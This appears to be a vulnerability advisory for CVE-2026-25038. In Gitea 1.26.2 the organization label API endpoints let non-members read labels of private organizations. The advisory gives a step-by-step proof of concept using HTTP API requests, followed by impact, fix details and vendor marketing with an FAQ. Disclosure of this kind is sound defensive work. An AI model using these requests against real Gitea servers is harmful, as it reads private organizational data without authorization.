Summary
Gitea: Unauthorized Access to Labels of Private Organizations
Gitea 1.26.2 does not properly enforce organization visibility restrictions on organization label read endpoints.
A user without access to a private organization can retrieve labels belonging to that organization through the Organization Labels API. As a result, label metadata intended to be restricted to organization members may be disclosed.
The issue is limited to unauthorized read access. No unauthorized modification of labels was observed.
Details
The following endpoints are affected:
GET /api/v1/orgs/{org}/labelsGET /api/v1/orgs/{org}/labels/{id}
During testing, a private organization was created and a label was added to that organization.
Access to the organization itself was correctly restricted. A user without membership in the organization received a 404 Not Found response when requesting organization information.
However, the same user was still able to retrieve organization labels through the endpoints listed above.
For comparison, other organization-scoped endpoints such as:
GET /api/v1/orgs/{org}/teamsGET /api/v1/orgs/{org}/hooksGET /api/v1/orgs/{org}/actions/secrets
correctly denied access to unauthorized users.
The label endpoints returned the full Label object, including fields such as:
idnamedescriptioncolorurl
Write operations were tested separately and remained protected by authorization checks.
PoC
Setup
Create a private organization:
POST /api/v1/orgs
Authorization: token <owner_token>
{
"username": "target-org",
"visibility": "private"
}
Create a label:
POST /api/v1/orgs/target-org/labels
Authorization: token <owner_token>
{
"name": "internal-label",
"color": "#aabbcc",
"description": "private organization label"
}
Verify that the organization is not accessible to a non-member:
GET /api/v1/orgs/target-org
Authorization: token <non_member_token>
Response:
HTTP/1.1 404 Not Found
Retrieve all labels
Request:
GET /api/v1/orgs/target-org/labels
Authorization: token <non_member_token>
Observed response:
HTTP/1.1 200 OK
The response contains labels belonging to the private organization.
Retrieve a specific label
Request:
GET /api/v1/orgs/target-org/labels/1
Authorization: token <non_member_token>
Observed response:
HTTP/1.1 200 OK
The full Label object is returned.
Verify write protection
Request:
PATCH /api/v1/orgs/target-org/labels/1
Authorization: token <non_member_token>
Response:
HTTP/1.1 403 Forbidden
PoC Details
https://anonymous.4open.science/r/Gitea_PoC-EC93/2_poc_private_org_labels_leak
Impact
Users who are not authorized to access a private organization can obtain label metadata associated with that organization.
Depending on how labels are used, this may disclose internal organizational information contained in label names or descriptions.
The issue affects confidentiality only. No integrity or availability impact was observed.
The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.
CVE-2026-25038 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.26.3); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2026-25038? CVE-2026-25038 is a high-severity missing authorization vulnerability in code.gitea.io/gitea (go), affecting versions < 1.26.3. It is fixed in 1.26.3. The application does not perform an authorization check before performing a sensitive operation.
- How severe is CVE-2026-25038? CVE-2026-25038 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of code.gitea.io/gitea are affected by CVE-2026-25038? code.gitea.io/gitea (go) versions < 1.26.3 is affected.
- Is there a fix for CVE-2026-25038? Yes. CVE-2026-25038 is fixed in 1.26.3. Upgrade to this version or later.
- Is CVE-2026-25038 exploitable, and should I be worried? Whether CVE-2026-25038 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-25038 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-25038? Upgrade
code.gitea.io/giteato 1.26.3 or later.